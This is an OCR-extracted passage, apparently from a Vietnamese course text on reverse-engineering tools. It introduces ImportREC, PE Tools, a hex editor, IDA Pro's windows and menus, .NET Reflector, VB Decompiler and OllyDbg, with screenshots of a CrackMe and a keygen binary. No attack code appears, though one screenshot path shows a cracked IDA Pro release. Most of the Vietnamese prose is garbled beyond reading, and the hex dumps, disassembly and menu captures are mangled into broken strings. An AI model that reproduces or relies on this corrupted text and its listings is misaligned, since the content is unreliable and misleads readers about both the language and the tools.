i [added: +EE [decimal+1110) -
IAT Infos needed Mew Import | nfos | ID+ASCII+L OADE R) Options
OEP |DL'IDEI'I nCC IAT AutoSearch v | 0000000 Size |D0DD0Z4E
s, |DEII'.'IEI52‘DC Size |0ODO0244 F Add rew section _I
Hinh4-6 ImportREC
4.1.3Cong ¢ PE
noy | ct'ngcl_ccnbtnildgyLW_ I " m vi ¢ v
. ap .
bit). Bao g m Task Viewer( dump f ul
tr3nh bi°n d ch, packer ), PE EdIi
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e
t

Xport, s a

pdtin..)

CRC. . .),

PE

EN PE Tools 1.5 Xmas Edition - by NEQxd[uinC], hitp:ffananaw. uin. ..

Fath

cwindowssyskem 32\ adwyapizz. dil

=)

File Tools PlugIns ©Options Help

@ = 2 e

Path FID
B docume~ L admini-- 1 locals~—11itempirarg. .. 000004FS
Oc:'l,program Fileshwinrariwinrar.exe 00O0007E4
-c:'l,dcn:uments and settingshadminisktratoride. .. 00000265
l'1'@l::'I,n:h:n:l\_ln'uE:nl:s and settingshadminisktratoride, .. 00000&2C

Sdocuments and settingshadministratordeskioppetoolsh, ..

.ﬂ chwindowsh swskem 32\ nedllL dil

.:;J ciwindowssystem 32 kernel3z . dil

.i;] i windowsiwinsxsy 86 _microsoft, windowes . cormmon-conkr ...
Iﬂ ciwindowsh system3z2mswerk. dil

EIEIE]

Processes loaded: 29

Image Base Image Size s
[alug nlnlulnln} OooZEQooO
ao<400000 O01z0000
ao<400000 Oo1ES000
Q0400000 Ooo1E0OO B
Image Base Image Size s
Q0400000 Qoo<4EQQD
FC200000 [wlnln|=uln]uln}
FCE00000 aooF4000
FE3D0oooo O010z000
FrCZ10000 oo0sS000
FrDDOOo0 ninlni=l={n]uln} -
SoftICE is nok loaded

Hinh4-7 PE Tools

4.1.4Cong ¢ HexEditor

Rebuil der (

Editor I
Mi crosof't
u nh phon,

b
Wi

He X
cho
[ i

”

nd
vV,

ho-

O WS

c8ch

n

1

c h
N -
n h

nh c¢c8c
t2ch h
tr

Cc
P

o

n cC q

h

d.

" Free Hex Editor N

ex editom g € |

i u nh’

pch-©Ont ht'W cehh = © kbt
phon

sao

File Edit View Select Operations Bookmarks MNTFS Streams Tools  History  Window  Help
. '] L > »

G A-HARE N FEE DR 3 E W m
4;[ T Dumped.exe x] Selection o x
onoonoez | 00 01 02 03 04 OS5 06 07 08 09 0a Ob Oc Od Oe OF ke =2 ||
00003470 e5 54 c2 0Oc 00 81 0l 00 00 83 3d 40 Sé 40 21A.. i....f=@VE [ Information ]
00003480 | 00 ££ 53 56 57 55 6a 30 al 00 S0 40 00 ££  .§SVWOu'3j0;.PE.% Total Size Mo selection  bytes
00003490 | k4 24 1c 01 00 00 40 50 40 00 £f 35 64 50 “$....y5@PE.¥5dP Fragments No selection
000034a0 | 40 00 50 e8 35 ef 33 c0 e9 Se 02 00 00 al  @.PeSigg3heée~...;
000034b0 | £0 55 40 00 33 db 15 d4 64 40 00 6a 02 al  &UR.30P§.04R.5.; [ — ]
000034c0 | 40 56 40 00 53 50 6c 63 40 00 B8b £8 53 53  @EVE.SP¥.lc@.<eSS
000034d0 | al 40 56 40 00 50 6c 63 40 00 [ @VE.PY.1c@. F¥F
000034e0 | 00 00 Of 8 e3 01 6a 42 &d 47 vew £...1B G.E¥S
000034£0 | 44 56 40 00 ££ 15 40 00 a3 44 56 40 00 3b  DVE.§.Hc@.£DVE.:

00003500 | 3 0f &4 ca 01 00 al 04 50 40 00 53 8b 35 A.,E...5{.PE.5¢5

00003510 | 48 64 40 00 &2 bl 00 S0 ££ d6 53 53 63 b7  Bd@.hx...PF0SSh-

00003520 | 00 00 00 ££ 35 04 00 ££ dé al 44 56 40 00 ... ¥5.P@.¥0;DVR.

00003530 | 50 ££ 15 a0 63 40 ed 57 55 al 40 56 40 00 P¥. cB.<&WU;@VEe.

00003540 | 50 ££ 15 e4d &3 40 40 56 40 00 50 ££ 15 78  Py.&cl. @VE.P§.x

00003550 | 63 40 00 8b  c5 &85 Oe 8b cf 80 38 00 75 03 cR.<E gr.cigs.u.

00003560 | c6 00 20 40 43 75 04 2f£ 00 B85S £f 74 48 55 E. BIudE./. ¥tHU .

4 L - r

Ready Offset: 000000092 (146) Size: 0x0001e000 (122,880): 120,00 KB Hex bytes, 16, Default AMNSI OVR

ch®p,

Hinh 4-8 HexEditor

4.1.51DA pro

L

4.1.5.1Giai thiMi chung:
DA Pro |

c hyi. | DA

”’

clng

pro
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assemblyN - | - m t ctlng c, d. L c, tr. c
ch ¢ ntng nh€eng clng ch2nh v3 vdy n
ph ¢ tYp. Li k™ m v,i I DA ta c¢c- thWw
HexRays Decompil er. n©y hoIDAg@psop!l ugi
s8nh ¢c8c biJn thW c,a phfn mQm L, 6 c

trong biJjn thw L- v"™ cho biJJt. nJju ¢

IDA - C:\ IDAREVERSING' putty.exe (=] 3]
File Edit Jump Search Wiew Debugger Options Windows Help

[P M BRDm Do [B x| o=@ EF] & ) Thre _(al x|
D& View-ESP 1D View-EIP | @ Threadsl . General registersl Edit  Search
| Thread I
Debugger: Library loaded: C:iWWINNTHSystem2z2%NTOLL.OLL -
Debugger: Library loaded: C:WWINNTSSwstem2zhaDvarI2z.dl] EmDDDDDBSD
Debugger: Library loaded: CiWWIMNTWSyStem3z2%KERMELIZ2.DLL = il
[aw: idie |pawn  Disk: 1036E 00031219 [00431219: WinMain(x, x,x,504+35 ltine 1 of 1 4
10 x] ol x|
* .text:88431287 call ds:InitCommonControls | * BO12FF30 war_4 dd 65h i’
-text:86843128D0 call sub_4388Aa1 = E" B812FF34 dd ; Stack[ eesas

-text:088431212 call sub_437687
.text:08431217 test eax, eax

.text:@843121E push ds:1pSteax=008088081

.text:88431221 push offset aSFatalError
.text:00431226 call sub_A4086B 86 BO12FF48 ; [END OF STACK FRAME _WinH

BA12FF38 retaddr dd ; sta
B012FF3C hInstance dd offset unk_488
B012FF48 hHMenu dd @

B012FF4y uIDEvent dd offset unk_132D
BO12FF48 nCmdShow dd BAh

EIP 23

* .text:08043122B pop eCcx * B812FF4c dd 8 Stack_Fn[:E_

* .text:8043122C mov esi, eax * B812FF58 dd 2@8h

* .text:080843122E pop ecx * B012FF54 dd A

* .text:0843122F push 38h 4 | 3

* .text:88431231 push esi =

* _text:00431232 push  offset Text =10l x|

* .text:88431237 push 8 Exx[poo0ae01| L, cF gl

* .text:88431239 call ds:MessageBoxA RN ?FFDFl]l]I]|L. . PF?

* .text:8043123F push  esi debug@13:7FFDF 800 i

* _text:88431248 call sub_486E7E ECx[880800865| L, AF 0]

| - EEHEESEIENIZS (o CEE EDK[77FD 0170/ Ly [NTDLL .DLL : 77FD 0170 zF o

* .text:808431246 push 1 =

* _text:Dp0431248 pop eax Esl |0060006| L, SF19

* _text:@8431249 jmp loc_43204E EDI [0812D9C4| L [Stack PAGE_GUARD[ BABAB3S |TF|O)
o EEEAERILIIAIRALE & = EBP[0012FF34) Ly [stack] D0000350] : 0012FF34 |IF [1
-text: QON3124E EsP[e812FF34/ L : oF[8
.Eext:0043124E loc_H3124E: Stack[00000350] : 8012FF34 978

*+* _text:0843124E mov eax, dword_45A1CYH SI||EIP (88421219 Ly |yinHain(x,x,x,%)+35 OF |8
< | II EFL [ABBOZ B6

Hinh 4-9: IDA pro
C- nh_ng lo4i m« L, c¢c h4i khtng debt
maphli s d. ng c8c che€ehng tr3nh Dec
vdy ta s€ c¢"i LHt th°m m t s° <c¢clng
4.152Caccltoc ntndp c¢c_ b
Saukhing€ i ph®n t2ch L€a m t fBEe c¥fr
hi " n | °p mhoh b°n trong k" ch w®h._
PE( pe.ldw) LW I "m vi ¢c. Trong Opt,]
ph©n t2ch file v"o cho ra hiWn th’
giao di n ch2nh LW I "m vi ¢

3 d

Giao di n | vi ¢ a_,sa I DA g'  m c
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(:, IDA - C:\Users\linh\Desktop\Cruehead CrackMe's\CRACKME3. it

File Edit Jump Search View Debugger Options Windows Help

G - WABB |-

LECY Rd: 2N 8T RE
B Sl - s NX B wSHKm- ] s Wh|ZAVAS
Bfe FRE | FAR

.. il 2 (Y

‘E] Functions window [=][=] |@ DA Viewd “ﬁ‘ Hex View |‘§'E Structures |@En Enums |‘§'$ Imparts |‘§‘§3 Exports‘ 3
P 0 5 HLLyumEnL . ueTauLt

¥t .686p

“ﬂ ndPioc -Mnx

"ﬂDia\ogFunc 7 .nodel flat

:@sub_:lmzrs

,ﬂSUb-w]m ; Seqment type: Pure code

\ﬂsubJDISSE E ; Segnent permissions: Read/Execute 1

1F ub_401346 CODE segment para public 'CODE' use32

Y5 sub 401362 assune cs:CODE

Y9 Loadicond jorg 401000 ) . .
"@Messageﬂom assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing
"ﬂ LoadCursord Graph overview @

"ﬂﬂegi:lelEla:sA ]

:@Pn:lﬂuilMessage public start

‘ﬂTlamlaFeMessage start proc near

1] ShowWindow 5 push 0 ; 1pHoduleNane

"@Updale\\finduw call  GettioduleHandleA

"@[;,edewmdu,,gm nov ds:hInstance, eax

"ﬂDerwindomecA nov ds:duord_4020F9, 0 )

N NislanRevP aramb v push @ ; hTemplateFile )

4 b push  B6h ; duFlagsAndattributes

1 00000600 00401000: start

(utput winclow
[Rays. X86.DeCoMp1 Ier, Vi, 5, READ, NFO-RDW\10a61\0 1UgIN5\ByTNON. PIW) error: Tne SpeciTied module could not be Tound.
C:\Users\Tinh\Desktop\Hex-Rays IDA Pro Advanced 6.1 Full + Hex-Rays 1.5 + SDK + FLAIR + IDS Util + addons'\Hex-Rays. IDA,Pro. Advanced. vé. 1. Windows. incl. Hex-Rays. x86.Decompiler, vi.5.READ. NFO-F
\idaé1\plugins\python. plw: can't Toad file

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.

Using FLIRT signature: SEH for vc7/8 6

Propagating type information...

Function argument information has been propagated

The initial autoanalysis has been finished.

g
Albide  Down Disk16B

Hinh4-10Gi ao di "n | "m vi ¢ | DA p
(1) Toobar ch a c¢c8&8c thanh c¢c'ng ¢, s
LW th ¢ hi n c8c ch_ ¢ nktng ta nhblp
(2) Navi gact-i otnh Vd avmdo nvhii ra kh, i L
chu, t di chuyWn b33ng c¢c8ch LiQu <ch’
M, i mu sdc c,a ¢c a s thW hi n v¥%n
3)Tabs ¢c- ch._a ¢ a s nh, nh_ng tht
Vi ¢ ph©n t2ch ph, thu, AView-2 nh_n
Hex ViewA, Struct, Enums, Imports,Exports, String.
(4Di sassembl y hipWront ht'2 cd, tlhieou 2L W
graph
(55Gr aph overview m t LY th thu nh,
M n h3nh ch, nhdt chBimWnhthchaeo t hibl

H

Lang | " m vi C

.
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6)Out put window nhdn L€ ¢ c8c thtr
load file xong.

()Function window LO©y |~ ¢ a s hi
ch™ t3m thbly trong qus8 tr3nh phon t
IDA Text view manh 3 nh hi Wn t h’ ki Wu text t
vi ¢ disassembler c¢clng nh€ cung c blf
vung nao

B F 1maViews B Structures |[52 En Enums |52 /68 Imparts |52 5 Expots |\EI |DAView-B|

CODE: JCODE XREF: DialogFunc+3A}j
CODE: ;fdialogFunc+y1}j

CODE:
CODE:
CODE:
1 {cooe:
CODE:
CODE:
CODE:
CODE: 684812D4)1oc_4012D4:
CODE:BBu@12DY
CODE : 68481208
CODE : bB4B120D

S

; : DialogFunc+ET)
cp [ebp+arg 8], 3F2h 5
jnz short loc 4812EE

CODE: 604812DD)1oc_48120D: ; [CODE XREF: DialogFunc+14t]
CODE: BA4812DD push @ s InResult

CODE: 684812DF push  [ebp+hDlg] ;|hdlg

CODE: 684612E2 call  Endbialog

CODE : B04812E7 mov eax, 1

CODE: 664612EC jmp short loc_4B12CD

CODE: 604812EE
CODE: BA46812EE
:ﬂﬂhﬂ1§FE loc_4612EE: ;|CODE XREF: DialogFunc+291j

]
00000800 00401200: DialogFunc+1E

Hinh4-1: C  a s~ | DA view
(1) C8&c mii t°n thW hi n nhi nhly L
ra c8c v,ng | Hp nh,

5

H

(2) Hi " n ra c8c L a ch” Virtual Addr
(3) Cg§c v tr2 L€ c so s&§nh LW LE&nh
chiJJu trong stack

(4) Code c¢c,a ch€ehng tr3nh di sassembl
(5) Code tham chi/Ju hiWn th' c8c Li
v o s€& L€ a ta hU'Jm L& &n gm«, hhoolbbc nh [
HoHc LW nhly LJn v’ tr2 t-Hummtoc hi JJu
cross reference.
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Fucntion Window hi Wn th c8c h" " m L ¢

b

¢ Funchons wandow
Functaon name Segment Start length R F L S B T =
[(9) sub_4020€8 CODE 00402068  000OD1ED R B
i) oub_402278 CODE 00402278 0OOO01AZ R B
i aub_40241C CODE 0040241C  OO0OOIDA R

Hinh4-12 C a s Functi on
Bung c8ch nhblp chuWtdihodltuyWr elic | L J

trong ¢ a s’ ch2nh disassembly. Ta
g m c¢c- function name, segment, star
g i),F ( far),L (libarary), S (stat
( type thongin).

String Window tYi ¢ a s n"y hiWwn i
hi n trong file th ¢ thi. C a s n
Ki Wu, t°n chu, i L - | © g3. Ta c¢c- thyV

nhbin L¥%p chuyWn nk/jrs€c dd < huDi sasse.]
th c¢. hi n
| mport window c¢c a s hiWn th  chi

th€ vi n ch_a h"m import L-. noy I
thwW thbly L€ ¢ ch€ehng tr3nh sngd, ng
c.a c8c h™m L€ ¢ g i nhe L c, vilt
thdp L€ ¢ ¢c8§c thi'ng tin vQ c¢c8c h™m
ch™ n v o v.,i m,c L2ch xblu nh€e | bly ¢

| =3 ID.-'l'-."-.-"iew-.-'l'-.I =a Hex "-.-"iew-.-'l'-.I =3 ﬂ Structuresl 2 |En Enums|@% Imports |__

Addreszs Ordinal  Mame Library

% oo4501148 DeleteCriticalS ection kernel3z2

% oo45011c LeavelCriticalS ection kermel3z2

% 00450120 EnterCriticalSection kermel32

% 004507124 InitializeCriticalS ection kermel32

% 004507123 WirtualFree kernel32

% 0045071 2C Wirtualdlloc kermel3z2

% 00450130 LocalFres kernel32

Hinh4-13:C a s | mport

Export window It" ke ac8c entrypoint
n“y g mc- |li t k° theo t°n, L a ch
th, ¢ thi export window cfn phrli c h.

ch™ Liwm Lfu v o Lfu ti°n trong | Yc
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Crosstrefer ences ¢ a s’ hi n thi t blt cl
L'i Wm code nhi m" h" m L€ ¢ g i. nW m
header ¢, a h"m, k2ch chu,t phrli <c¢ch’
tr°n t hanh->0pemsgbview crogsiredevere

[ Lyl xrefs to sub_440410 ‘ ‘ i o= e S |

Direction T. Address Text
v sub 4405EC+38 call sub 440470

LalUp o CODE:00423E8D dd offzet sub_440410

4 | 1n r

“ [ ok | | camcel | | Hep | [ Seach | M

Hinh4-14:C a st h asrefaemédedju Cr os s

Name Window |~ ¢ a s cung cblp dan
c:- thw L€ ¢ sdp xJp theo bHinWn cthh’ ¢
t°n c¢c- c¢c8c ch, c8i i n hog CkNa®e nhal
code) , | ( I mport name) , L (library

vi ¢ nhblp L%p chu,t v~ o t°n bblt k3
L'Jn v tr2 - trong ¢ a s ->aptmAnh hi
subview> name

FunctonCd | s ¢ a s’ thw hi n L€ ¢ 2 c
function. X8c L  nh L€ ¢ c8c hS S m L€
option subview> function call

¥ Function calls: sub_MEdEﬂ_ El&u

|| Address Caller In=struction

CODE:OD424F34  sub_424F34 call  sub_4434E8
CODE:00443108 gub_4430F0 cal  sub_4434E3

Address Called function

CODE:004434FC  call  sub_4033E4
CODE:00443518  call  sub_44013C
CODE:00443523  call sub_413EFO e

Hinh4-15:C° a s~ Function call s
C.n rblt nhiQu nh_ng c¢c a s nkhig v,
c a s gi.i thi u b°n tr°n | " nh_ng
vi ¢ v.i ¢ctng ¢, | DA pro.

Menu Jump
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File Edt Jump Seuch View Debugger Opbons Windows Help
dH b Jump to operand Bt b .
&) Jump in 2 new window AlteEnter
28 = Jump to previous position s
& En || = Jumptoned postion CtrleEnter
# | Empty navigation stack
‘ Jump to pseudocode Tab
————  Jumpto address.. 6
& o Jump by name... Ctrlel
Jump to function... ClrleP
Jump to segment... Crle§
Jumpto seqment register.,  CtrleG
Jump to problem.. (tr+Q
Jump to cross reference.. CtrkeX
Jump to cross reference from..,  Ctrle)
Jump to xref to operand.. X
Jump to entry point... CtrleE
Jump to file offset..
Mark position... AltsM
Jump to marked position..  CtrleM
Clear mark...
CODE : 0044AKAS
" CODE : D044AKAS

inc

v £ =r)
AENY (8T YRE (D
WS NKm~ R U RAYAR

(I (]

o 1 S 5580 G 1513, gt 257 Friors v
U eax, [eax+14h)

v edx, [ebpruar €]
v i, OFFB9N
sub_403204

np [ebpevar_10], §
short loc_NAAUAS
or edx, edx
v eax, [ebpruar_10)
all  sub_huOFAC
ush

v eax, [ebpruar 8)
v edx, [eax+14h)

0r  ecx, ecx
v eax, [ebprvar 10]
all  sub_bi1054

+ CODE XREF: sub_NNAJEB+8HT |
; Sub ’l’m{iEB'OFt]

[ebprvar 1C]

Hinh4-16: Menu Jump

Jump to address(G) nhi Qu | “uc ta s¢€
mu'  n LJjn LW thudn i mholve & o7y
vio L a ch”™ mu'n jump.

Jumptoentrey point(ct£) hi n | °n v’ tr2 c8c e
cfFn nhblp v o s& L€a ta LJn v  tr2 |
S d, ng forward/ backward arrows b
thanhcog ¢, c¢ch n jump to previ-enen,( Esc
hoHc s d,. ng n%t tr°n m"n h3nh | " m
Menu Search v,i ¢8c t¥»y ch n t3m ki
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DA - C:'aUsers‘l.cuong\Dsktop\nvﬂskconfli;b (F.exe)

Edit Jump | Search | View Debugger Options Windows Help
E | next code Alt+C ﬁ EI.'LIJ. @I' ':-'.* hd §' [
I next data Cl-D N
Functicn next explored Crl+A

ction name next unexplored Ctrl+U ment Start

SendActive immediate value... Alt+] 004035EA

sub_403666 lﬁ next immediate value Ctrl+1 00403666

Sendlain 00403698

sub_4036CE ted.. Alt=T 004036CE

cub 403700 | nedted Ctrl+ T 00403700

Lsub_403785 sequence of bytes.., Alt+B 00403765

sub_403783 Iﬁ next sequence of bytes Ctrl+B 00403783

sub_4037CF . 004037CF

sub,_ 403815 not function 00403815

sub_40387F next void Ctrl+V 0040387F

sub_4038EE s Ctrl+E 004038EE

sub_403A0A , 00403A0A

sub_403AAB all void operands 00403AAB

sub 40335 all error operands 00403C35

sub_403C67 o 00403C67

cub 403c6p | ¥  search direction 00403C6R

sub_403C6F text 00403C6F

sub_403C73 text 00403CT3

HideFile text 00403CC2

cub 403N0F3 et (0403M0F3

Hinh4-17: Menu Search

Ne xt code s€& Li t3m LJ/Jn v¥%¥%ng <code
nghoa, Disasm.

Next data | s€& Li LJn v¥%ng ch.  a d.
Next explored s€& Li d/Jjn v¥%ng d. I
d,. ng th"nh struct

Next unexplored th3 ng€ c¢c v, i next
| mmedi ate valua s€&€ hi n ra s’
data

Text t3m kiJm c8c chu, i c¢c- kT t C.
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ﬂ Teut search (slow!)

String :E.E ":I

Parameters
|:| Case sensitive

|:| Reqular expression

[T 1dentifier

Find all occurences

Direction
(@ Search Down

() Search Up

|

0K

) Coa )

Hinh4-18:T3 m ki JJm

Menu View

c hu,

View Debugger Options Windows Help
Disassembly
j;ﬁ Graphs Hex dump
‘] Toolbars Pseudocode
Ealculatori.. i‘:l&;; e e ——
s ecent scripts t+ I% Imports
I TR, Print segrment registers Ctrl+Space | M MNames
& Print internal flags -‘EI] Functions
-t Strings

7| == Hide

=n Hide all
=k Unhide all

Setup hidden iterms

Mum -

=¥ Segments
TR, Segment registers

'% Selectors

-8 Signatures
T Type libraries

ﬂ Structures

En Enumerations
Wit Local types

Ll Cross references
l'lﬁ_,[ Function calls

Motepad
P
Problems

F5

Shift+F4
Shift+F3
Shift+F12

Shift+F7
Shift+F8

Shift+F5
Shift+F11

Shift+ F9
Shift+F10
Shift+F1

Hinh 4-19: Menu View

V., i open

x

DisAssemBly, hexdump, expr t I mport
c8c ¢ a s’

t hw m t h°m
PseudoCode

subview |

v

cC a s

c.a s Disaseembly
Segmen, SegmenRegi ster

gi nlcos8t v ¥n.g

S

t h€e vi n g3,

d.
Signature, Type Lib c¢ch,
XxX©y d.ng

3

| i u
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Tipfheos € || ° menu debuger ch_ a c8c t %
gdn k m theo I DA, nh€eng ta tU4m th" i
ph ¢ tUp, ta s& n3mhhi Wu ObEbyd®ebulhk
Menu Options

Menu n"y ch_ a c8c t%»y ch n vQ compl

Compiler setup L&J
e

Compiler
Uk o Drefault calling convention
@ “izual C++
Borland C++ Unkriown
watcom C++ @ Cdecl
GHU C++ Stdcall
“izual Age C++ FPazcal i
Delphi Fastcall
Thizcall i
emary model Fainter zize
@ Code Mear, Data Mear Unkrown |
Code Far, Data Far E4 bit
Code Mear, Data Far Mear 16bit, Far 32bit ]
Code Far, Data MHear @ Mear 32bit. Far 46hit ]
Default alignment 8 - f
zizeof[boal] 1 -
zizeof(int] 4  » Predefined macro:  _cdecl=_ cdecl;_pascal: - :
zizeof[enumm)] 4  » Include directonies /Program Files/Microsoft -
' I
| | [ ak. ] | Cancel | | Help | |

Hinh4-20:C  a s~ t¥%y c¢ch n vQ compl
Di sasembly cho ph¥%ch’ p v, i c8c tr?3r

T%y ch' n string st ytlheeao ht rn3 nch8 cb ik®i nwi
d l i u.

[

Ngo“"i ra c¢c,n rblt nhiQu c8c t¥%y ch’
hi Wn th’ biéWwu L7, ch¥% th2zch

Menu Edit

Ch a c¢c8c t®»wy ch n:

Code LW L " nh nghoa m t v¥ng d_. | i

Data LW L chdnghipgaumtt A$m@Qode t h" n
String s€ L nh nghoa | 4i ki Wu c_, a ¢
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Edit Jump Search View Debugger Options Windows Help

| 1 HTEHt vJ
Begin selection Alt+L
Select identifier  Shift+Enter § 7 B @ B N i
DC‘ISI; Code C _>< E:: v # v x S “ K f=f - ‘I’F
E.TE-; Data D {
"ﬁ1 Struct var... Alt+Q I .I
Jun Strirlgs 3 l-_l_ - =—— :
! s Array.. Num+ P25 |[ES1[E DA views [[52) ] Hex View,
1 ¥ Undefine U -
t H Rename I
Il Operand type r
| Comments r
Segments L -
Structs r r
! Functions r
: Other »
T universal PE unpacker
:";;;9;;"“'T “ Sample plugin Alt+0
.I:adl:?ur::]rhe“ Jump to next fixup- Alt+F12
oadlcond Hex-Rays Decompiler
{ezzageB oxh COM Helper
IpenClipboard Sample chart builder
iendDIgltemM ezzaged Change the callee address Alt+F11
iendMessagef Universal Unpacker Manual Reconstruct
Hinh4-21: Menu Edit
\VA nhi Qu t Ly ch n khgc i °n gua
segments,struct, functioné
Nh€ng quan tr ng nhblt | - Rilthegi n n h
vao.
ng§ng ch¥% T nhblt |7 Plugi nlaWex\Rays
d"  ch m sandlyga bri nAs m t LoUYn C.
Plugin BinDiff c¢cing | " Mt plugin
c’" s° d. i u hi nukha€liCh vy aunaight € h

t €hng ntg, nha@iu'é

4.1.6Cong ¢ Reflector

n“i v.i nh_ng lo4i L€ ¢ vi/Jt tr°n
Decompl i er ri °ng cho n- nhe Refl e
d"ng guan s§t, t3m ki Jm, bi°n d ¢

NQnNNET tr° vQ m« ngu n C#, &B, C++
Link download: http://shop.reflector.net/download
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@ NETRelecor 73018 = . Nl G
File Edit View Tools Help
QOIPHEA|DE P |le N ]
[ [+ References »
v e ¥ MyClassFindAllFiles() : Yoid ek
{}-
£ {} NETReflectorDemo public void FindAlFies] )
B 4 MyClass I
€] Base Types this.results, Clear()
(4 Derived Types Directorylnfo CurFolder = new DirectoryInfo(this.folder_path);
4 clor( foreach (Filelnfo oFile in CurFolder.GetFiles()
= : {
| ndalliles() Void f (oFle Name Contains(his keyword)
# FileCount ; Int32 {
#4 Files : ListFilelnfox this.results Add(oFile);
o7 FolderPath : String | i
23 Kejhior: Stnng || thisresult_count = this.results.Count,
g folder_path : String ]
g keyword : String
o result_count: [nt32
: g results; List<Filelnfo> i
public void FindAllFiles);
Declaring Type: NETReflectorDermo MyClass 3
Assembly: NETReflectorDemo, Version=1.000  _ il
Hinh4-22:Gi ao di NnReftettdr N mQm

4.1.7 Cong ¢ VB Decomplier

Link downloadhttp://www.vb-decompiler.org/
Nh €

ta L« viJJt c¢c8c ch€ehng trs3nh tr
thanhpcode( m« gi[) L« L€ ¢ d ch hoHc
code bao g m nhiQu mMm nhkbPBlpntngctahb,
d ch ng€e ¢ n- th" nh m« ngu n. V3 vd
d ch ng€© ¢ cho c¢c8c ch€ehng tr3nh L€
Basic( EXE, DLL hoHc OCX-)odd Mgodkra? i p
m t b, phon tAmht Bik g “%p8&8et3mh®ing ¢
v  tham chi/Ju chu,i trong m« L€ c p
c8c di,n gilli cho c¢c8c chu, i phon t°*:
mblt m« ngu - n v. c¢cfn kh®i ph_c | Yi
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B VB Decompiler v3.2 - Registered to GPcH Soft
File Tools PFlugins Help

Filehame: ‘D:\P-code'\PiclureUIEWEH.exe ‘ [Z] (ecompe |
Objects Tres: Interface: Cample stack parameters Procedure analyzer and aptimizer
= %Project A | |Private Jub Form Load() '412180 :'
=12 Formis 'Data Tahle: 40ZDAC
B Main loc_411FD&: On Error Goto 0
B, Passward loc_411FF0: Password. Show ¢H1, war B0
B3 Search loc_41200E: war_CO = CVar(Getietting("FictureVIEVER", "Path”,"C

loc_41201F: If CEooliwvar CO < ") Then '412106

loc_412047:  war BO = CVar(CEyte(Val(Citr(var _C0)))) 'Byte
loc_41204B:  For war 114 = | To war _BO: var E4 = var 114 'Var
loc_412089: var_124 = CVar(Getietting("PictureVIEWER","PFat
loc_412046: Open C3tr((war_l24 + "3H3,3hack3™)) For Binary

) UserControls
By Code
=] Main
# Picturetiever] _4109;

§ Picturetfiver]_4110 loc 4120BC:  Get GHL, GHl, var GE
P Load 412160 loc 412002 Close gfl ;
§ Form_Activate_¢1156 loc 4120EC:  TUnknown.Collection. Add var 124, Chrg(Clng(var
F Form KeyPress 413 loc 4120FD:  Next var 114 'Variant
filphablend loc_412103:  GoTo loc 412122
clsASMpic loc 4121061 End If
Mousecrollpi loc 41211D: 3earch. Show ¢Hl, var B0
Pickureviever loc_412122: ' Referenced from: 412103
Makick loc_412l4d; Filel,Path = Citr(Unknowm,Collection, Itemil))
o R YI || loc 412L5E: Exit Sub %
£ ¥ 13| === £ )

‘ Decomplled OF

Hinh 4-23: VB Decomplier

Ngoaicacé ng c L« kKW tr°n vXn c¢c,n nhi
v, c¢cho vi ¢ cho vi ¢ ph©n t2ch tonh
hu Li Wm ph€ehng ph8p ph©n t2ch tonl
xem m« L ¢ h4i | " m g® ch. khlng cfn
L€ ¢ r» nhbit Lc@ ncg cnghee hboi Ut L, ng ch?i
|~ I "m g3. Tuy nhi°n LW th, ¢ hi n |

ph©n t2ch ph[li hiWu r» vQ | dp tr3nh
4.1.8Cong ¢ Ollydebug

4.1.8.1 Gai thiMi chung

Phfn mQm n" vy gi %p nedg@® gi, pxhe@m qtu28c ht ri
t. ng be ¢ c¢c,a ch€ehng tr3nh.

Dowl oad phfn mQm tYi trang http:/ /v
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4182Cacchc ntndp c_ b
nfu rng<Eni plhoCand tf2iclhe v o trong ol | yd
ch€hng tr3nh nh€ sau

B LT e —— T

@ File View Debug Plugins Options Window Help mm’?
Bl x| 0] i ¥y A +f L[E[m[T|wn|c[/[K[B[R]..[s] i=[E]?]
r& E2 2CBSA0EH CALL <JHP. %comct 122, InitCommonControls>{CIn itComr i
|HzEnsiErs
cmantees|| . en oo PUSH & [Eliedul= * Regisners IFA) i<
|| 2odmicer(] . Es 1mpSEmem | CALL <. tkernelSZ.Gettodu leHandlen> |LGetModul | B gaizrrod
eaqpieec|| o A3 1ES34Eem | HOU DWORD FTR DS:[4B331E], EAX EST hBnEoos
eadaioll|| . &5 CHBBEGED | PUSH B0 Rsrciarel | ERT Bo000000
oadaiele|| - S6 PUSH EF% [ Inzt
Bodglelr|| . ES CapEappn | CALL CJP.tusers2.Loadloonis Loadlcon |EIFP @0481880 kewgen.<ModuleEntryFoint>
ooaniczi|| . 68 BorFeeen | PUSH pFe9 : ' ReroMame| |§ 9 EF D825 Z2biv GFFRFFFFF)
Boaninzs||  ER Anoceeen |FACL Cune.t [hInSt re |B @ =% 9ozz sEoir AIFFFFFRRR)
o S Euser3Z. LoadCursorAs LoadCurs ? 1 DS @823 Zzbit ALFFFFFFFF]
ea4a1620(| - A3 233468 | A0V DWORD FTR DS: (4833261, EAR 5B P2 GO5E S50+ SEFDFGGO!4BEE
eadaiezz(| . e PLSH Param = |5 & R2 8558 noCL
oa4a1e24(| I £2 4Fieasen | POSH keygen.oo4m14F DlgProc .
|- & S i 2. g?g;gfai 08 LastErr ERROR_SRS_KEY_MOT_FOUND (BBE636E7)
e5461620(| . FF25 1E324m@e| PUSH DWORD PTR OS:[46331E] hInst = EFL BRAAB24E (MO, NE, E,EE, NS, PE, GE,LE)
BE4E1842(] . E2 74E2E0EH CALL <JMP. 2user22.0ialogBorParamAs DialogBc ST@ empty @.@
saqaiads(| - £n oa FUSH & ExitCode |37 omoee &
eadaiadAl. ES Crezesem | CALL <JHP.&kernel32.ExitProcess? EritProc  |275 cherd B0
BE46164F(F. EE PUSH EEP 275 Empia o.@
oa4aiece|| I SEec MO0 EEF, ESP 273 empin ooa
ea461652(| - 5170 BC_1@@ie( CHP DWORD FTR S5:[EBF+CI, 118 ZTE empia @6
BE461655(| [-BFEE SEEEEABE| JHZ keyaen.BE4R1BEF 2TE empin G.0
eadaieef (| L ee S1a1ee6a | PUSH 191 Contrall | E03 SNETY A1
oadaieca|| I FFrE ee PUSH DUORD PTR S5: [EEF+8] [hwnd Moo ESPUDZDI
st ot | i ihinte [rpom o §858 £eB8888880 @
. EYIEN. Ewlalue
el o & i 3 el FCW B27F Frec MEAR,53 Mask 111111
Rt | PUSH EAX hlind
eaqpiora|| - Es orezesem | CALL <JiP.suserdE. SetWindowlonoA> Setllinde
eadaiors|| - A3 2AS3466a | AOU DWORD FTR DS:[46322A1, EAN
ea4a1a7E(| . FF2E 22234mee| PUSH DUORD PTR DS:[463322] |Param = 2
